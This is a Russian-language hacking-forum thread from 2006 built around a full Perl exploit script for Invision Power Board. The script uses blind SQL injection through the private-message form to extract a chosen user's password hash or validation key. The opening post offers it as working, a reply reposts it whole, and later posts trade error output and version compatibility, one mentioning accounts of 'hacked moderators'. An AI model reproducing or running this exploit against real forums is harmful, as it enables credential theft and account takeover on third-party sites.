ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

IPB Validation Key & Pass Exploit
  #1  
Старый 24.06.2006, 23:17
Аватар для liauliau
liauliau
Новичок
Регистрация: 09.04.2005
Сообщений: 29
Провел на форуме:
438995

Репутация: 17
По умолчанию IPB Validation Key & Pass Exploit

работает отлично!

Код:
#!/usr/bin/perl 
use HTTP::Cookies; 
use LWP 5.64; 
use HTTP::Request; 
 
my $login_page = '?act=Login&CODE=01'; 
my $pm_page = '?act=Msg&CODE=04'; 
my $pose_pm_page = '?'; 
my $tries = 5; 
my $sql = ''; 
my $hash = ''; 
my $need_null = 0; 
my $i; 
my $j; 
my @charset = ('0' .. '9', 'a' .. 'f'); 
my %form = (act      => 'Msg', 
   CODE      => '04', 
   MODE      => '01', 
   OID      => '', 
   removeattachid   => '', 
   msg_title   => 'asdf', 
   bbmode      => 'normal', 
   ffont      => 0, 
   fsize      => 0, 
   fcolor      => 0, 
   LIST      => ' LIST ', 
   helpbox      => 'Insert Monotype Text (alt + p)', 
   tagcount   => 0, 
   Post      => 'jkl'); 
my $ua = LWP::UserAgent->new; 
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); 
my $resp; 
$ua->cookie_jar ($cj); 
push @{ $ua->requests_redirectable }, "POST"; 
print "+-------------------------------------------------------------------------+\n"; 
print "| IPB Validation Key & Pass Exploit                                       |\n"; 
print "|                                                                         |\n"; 
print "| |Exploit Found & Researched By 3l3ctr1c and Demmo                       |\n"; 
print "|                                                                         |\n"; 
print "| |Possible Idea Given By SHAK                                            |\n"; 
print "| |Perl Modification By ReZEN of xorcrew                                  |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "| For Information On How To Use This Exploit Visit the Above given URL(s) |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "+-------------------------------------------------------------------------+\n"; 
print 'IPB Forum URL ? '; 
chomp (my $base_url = <STDIN>); 
print 'Your username ? '; 
chomp (my $user = <STDIN>); 
$form{entered_name} = $user; 
print 'Your pass ? '; 
chomp (my $pass = <STDIN>); 
print 'Target userid ? '; 
chomp (my $tid = <STDIN>); 
print "Type: ? \n 0. Password Hash \n 1. Validation Key Hash\n"; 
chomp (my $type = <STDIN>); 
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } 
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' } 
do { 
   $resp = $ua->post ($base_url . $login_page, 
      [ UserName => $user, 
        PassWord => $pass, 
        CookieDate => 1, 
      ]); 
} while ($tries-- && !$resp->is_success()); 
$tries = 5; 
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } 
if ($resp->content =~ /sorry, the password was wrong/i) { 
   die "Error: password incorrect.\n"; 
} 
do { 
   $resp = $ua->get ($base_url . $pm_page); 
} while ($tries-- && !$resp->is_success()); 
$tries = 5; 
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } 
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#) 
{ 
   $form{post_key} = $1; 
} else { 
   die "Error: couldn't get a post key.\n"; 
} 
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#) 
{ 
   $form{auth_key} = $1; 
} 
$| = 1; 
print "\nAttempting to extract hash from database...\n "; 
OFFSET: 
for ($i = 0; $i < 32; ++$i) { 
   CHAR: 
   for ($j = 0; $j < @charset; ++$j) { 
      $tries = 5; 
      print "\x08", $charset[$j]; 
      $vid = "vid"; 
 
      if($type){ 
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' 
           . (join (',', map {ord} split ('', $user))) . ') FROM ' 
           . 'ibf_validating WHERE member_id = ' . $tid . ' AND MID(' 
           . 'vid, ' . ($i + 1) . ', 1) = CHAR(' 
           . ord ($charset[$j]) . ')'; 
           }else{ 
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' 
           . (join (',', map {ord} split ('', $user))) . ') FROM ' 
           . 'ibf_members WHERE id = ' . $tid . ' AND MID(' 
           . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR(' 
           . ord ($charset[$j]) . ')'; 
           } 
 
      $form{from_contact} = $sql; 
 
      $resp = $ua->post ($base_url . $post_pm_page, \%form, 
         referer => $base_url . $pm_page); 
      if (!$resp->is_success()) { 
         die "\nError: " . $resp->status_line 
           . "\n" if (!$tries); 
         --$tries; 
         redo; 
      } 
      if ($resp->content =~ /sql error/i) { 
         if ($need_null) { 
            die "Error: SQL error.\n".$resp->content ; 
         } else { 
            $need_null = 1; 
            print $resp->content; 
            redo OFFSET; 
         } 
      } elsif ($resp->content !~ /there is no such member/i) { 
         print ' '; 
         next OFFSET; 
      } 
   } 
   die "\nError: couldn't get a char for offset $i\n"; 
} 
print "\x08 \x08\nHit enter to quit.\n"; 
<STDIN>;
1.
Код:
http://www.site.com/index.php?act=Reg&CODE=10
2.
Код:
IPB Validation Key & Pass Exploit
3.
Код:
http://www.site.com/index.php?act=Reg&CODE=lostpassform
video нужнa ?

Последний раз редактировалось liauliau; 24.06.2006 в 23:36..
 
Ответить с цитированием

  #2  
Старый 25.06.2006, 00:04
Аватар для max_pain89
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903

Репутация: 345


По умолчанию

да нужна, вообще надо видео обновить, сделай пограмотнее и Задхлику объясни что его надо выложить поскорее.
 
Ответить с цитированием

  #3  
Старый 25.06.2006, 03:01
Аватар для ilyha
ilyha
Познающий
Регистрация: 10.11.2005
Сообщений: 75
Провел на форуме:
367531

Репутация: 4
По умолчанию

Опять с ошибкой чтоли? У меня выдает вот это:
Код:
Attempting to extract hash from database...  0<html><head><title>IPS Driver Error</title>                     <style>P,BODY{ font-family:arial,sans-serif; font-size:11px;  }</style></head><body>                     &nbsp;<br><br><blockquote><b>There appears to be an error wit  h the database.</b><br>                     You can try to refresh the page by clicking <a href="javascri  pt:window.location=window.location;">here</a>.                     <br><br><b>Error Returned</b><br>                     <form name='mysql'><textarea rows="15" cols="60">mySQL query  error: SELECT name, members_display_name FROM ibf_members WHERE id=-1 UNION SELE  CT CHAR(98,114,117,115,101,110,116) FROM ibf_members WHERE id = 2 AND MID(member  _login_key, 1, 1) = CHAR(48)    SQL error: The used SELECT statements have a different number of columns  SQL error code:  Date: Saturday 24th of June 2006 06:58:06 PM</textarea></form><br>We apologise f  or any inconvenience</blockquote></body></html1
 
Ответить с цитированием

  #4  
Старый 25.06.2006, 07:17
Аватар для Любой
Любой
Banned
Регистрация: 20.06.2006
Сообщений: 8
Провел на форуме:
30587

Репутация: 3
По умолчанию

Цитата:
Сообщение от liauliau  
работает отлично!

Код:
#!/usr/bin/perl 
use HTTP::Cookies; 
use LWP 5.64; 
use HTTP::Request; 
 
my $login_page = '?act=Login&CODE=01'; 
my $pm_page = '?act=Msg&CODE=04'; 
my $pose_pm_page = '?'; 
my $tries = 5; 
my $sql = ''; 
my $hash = ''; 
my $need_null = 0; 
my $i; 
my $j; 
my @charset = ('0' .. '9', 'a' .. 'f'); 
my %form = (act      => 'Msg', 
   CODE      => '04', 
   MODE      => '01', 
   OID      => '', 
   removeattachid   => '', 
   msg_title   => 'asdf', 
   bbmode      => 'normal', 
   ffont      => 0, 
   fsize      => 0, 
   fcolor      => 0, 
   LIST      => ' LIST ', 
   helpbox      => 'Insert Monotype Text (alt + p)', 
   tagcount   => 0, 
   Post      => 'jkl'); 
my $ua = LWP::UserAgent->new; 
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); 
my $resp; 
$ua->cookie_jar ($cj); 
push @{ $ua->requests_redirectable }, "POST"; 
print "+-------------------------------------------------------------------------+\n"; 
print "| IPB Validation Key & Pass Exploit                                       |\n"; 
print "|                                                                         |\n"; 
print "| |Exploit Found & Researched By 3l3ctr1c and Demmo                       |\n"; 
print "|                                                                         |\n"; 
print "| |Possible Idea Given By SHAK                                            |\n"; 
print "| |Perl Modification By ReZEN of xorcrew                                  |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "| For Information On How To Use This Exploit Visit the Above given URL(s) |\n"; 
print "|                                                                         |\n"; 
print "|                                                                         |\n"; 
print "+-------------------------------------------------------------------------+\n"; 
print 'IPB Forum URL ? '; 
chomp (my $base_url = <STDIN>); 
print 'Your username ? '; 
chomp (my $user = <STDIN>); 
$form{entered_name} = $user; 
print 'Your pass ? '; 
chomp (my $pass = <STDIN>); 
print 'Target userid ? '; 
chomp (my $tid = <STDIN>); 
print "Type: ? \n 0. Password Hash \n 1. Validation Key Hash\n"; 
chomp (my $type = <STDIN>); 
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } 
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' } 
do { 
   $resp = $ua->post ($base_url . $login_page, 
      [ UserName => $user, 
        PassWord => $pass, 
        CookieDate => 1, 
      ]); 
} while ($tries-- && !$resp->is_success()); 
$tries = 5; 
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } 
if ($resp->content =~ /sorry, the password was wrong/i) { 
   die "Error: password incorrect.\n"; 
} 
do { 
   $resp = $ua->get ($base_url . $pm_page); 
} while ($tries-- && !$resp->is_success()); 
$tries = 5; 
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } 
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#) 
{ 
   $form{post_key} = $1; 
} else { 
   die "Error: couldn't get a post key.\n"; 
} 
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#) 
{ 
   $form{auth_key} = $1; 
} 
$| = 1; 
print "\nAttempting to extract hash from database...\n "; 
OFFSET: 
for ($i = 0; $i < 32; ++$i) { 
   CHAR: 
   for ($j = 0; $j < @charset; ++$j) { 
      $tries = 5; 
      print "\x08", $charset[$j]; 
      $vid = "vid"; 
 
      if($type){ 
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' 
           . (join (',', map {ord} split ('', $user))) . ') FROM ' 
           . 'ibf_validating WHERE member_id = ' . $tid . ' AND MID(' 
           . 'vid, ' . ($i + 1) . ', 1) = CHAR(' 
           . ord ($charset[$j]) . ')'; 
           }else{ 
      $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' 
           . (join (',', map {ord} split ('', $user))) . ') FROM ' 
           . 'ibf_members WHERE id = ' . $tid . ' AND MID(' 
           . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR(' 
           . ord ($charset[$j]) . ')'; 
           } 
 
      $form{from_contact} = $sql; 
 
      $resp = $ua->post ($base_url . $post_pm_page, \%form, 
         referer => $base_url . $pm_page); 
      if (!$resp->is_success()) { 
         die "\nError: " . $resp->status_line 
           . "\n" if (!$tries); 
         --$tries; 
         redo; 
      } 
      if ($resp->content =~ /sql error/i) { 
         if ($need_null) { 
            die "Error: SQL error.\n".$resp->content ; 
         } else { 
            $need_null = 1; 
            print $resp->content; 
            redo OFFSET; 
         } 
      } elsif ($resp->content !~ /there is no such member/i) { 
         print ' '; 
         next OFFSET; 
      } 
   } 
   die "\nError: couldn't get a char for offset $i\n"; 
} 
print "\x08 \x08\nHit enter to quit.\n"; 
<STDIN>;
1.
Код:
http://www.site.com/index.php?act=Reg&CODE=10
2.
Код:
IPB Validation Key & Pass Exploit
3.
Код:
http://www.site.com/index.php?act=Reg&CODE=lostpassform
video нужнa ?

Цитата:
Attempting to extract hash from database...
80000000000000000000000000000000
Hit enter to quit.

Скажи какого ласковое слово она мне это выдает? У тебя такое было?


Где там ошибка в сплойте лень копатся

Код HTML:
Attempting to extract hash from database...
f
Error: couldn't get a char for offset 0
Или это, когда пытаюсь вырвать Validation Key

Последний раз редактировалось Любой; 25.06.2006 в 14:18..
 
Ответить с цитированием

  #5  
Старый 25.06.2006, 12:01
Аватар для Nova
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
Провел на форуме:
7670961

Репутация: 1034


Отправить сообщение для Nova с помощью ICQ
По умолчанию

У меня это выдаёт
Цитата:
Error: couldn't get a post key.
причём и на Password Hash и на Validation Key Hash

версия форума 2.0.1 =(
 
Ответить с цитированием

  #6  
Старый 25.06.2006, 12:30
Аватар для Hao Asakura
Hao Asakura
Новичок
Регистрация: 23.06.2006
Сообщений: 14
Провел на форуме:
50680

Репутация: 0
По умолчанию

Версия форума Ipb 1.3 Final
Не работает. проверял на 3х пользователях - себе любимом и 2х ломаных модерах.
Результата нет. Выдает тоже, что и у Новы.
 
Ответить с цитированием

  #7  
Старый 25.06.2006, 12:44
Аватар для Nova
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
Провел на форуме:
7670961

Репутация: 1034


Отправить сообщение для Nova с помощью ICQ
По умолчанию

2Автор на каких версия форума работает ?
 
Ответить с цитированием

  #8  
Старый 25.06.2006, 13:01
Аватар для liauliau
liauliau
Новичок
Регистрация: 09.04.2005
Сообщений: 29
Провел на форуме:
438995

Репутация: 17
По умолчанию

короткое video тут
 
Ответить с цитированием

  #9  
Старый 25.06.2006, 14:47
Аватар для Nova
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
Провел на форуме:
7670961

Репутация: 1034


Отправить сообщение для Nova с помощью ICQ
По умолчанию

Кароче я разобрался банан это а не сплойт автор.

Единственное на очом он у меня работал так это 2.0.3форум который у тебя там на видео на остальных версиях 2.0.1 , 1.3 , 2.1.1 и ещё куче он работать у меня отказался так что в печь сплойт. !

Последний раз редактировалось Nova; 25.06.2006 в 16:00..
 
Ответить с цитированием

  #10  
Старый 25.06.2006, 18:31
Аватар для liauliau
liauliau
Новичок
Регистрация: 09.04.2005
Сообщений: 29
Провел на форуме:
438995

Репутация: 17
По умолчанию

вот тебя video на другой форум :video тут

Последний раз редактировалось liauliau; 26.06.2006 в 15:09..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
exploit phpBB 2.0.19 ( by SpiderZ ) liauliau Форумы 21 13.01.2007 23:01
SQL injection exploit IPB <= 2.1.4 NeMiNeM Forum for discussion of ANTICHAT 0 28.04.2006 00:55



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ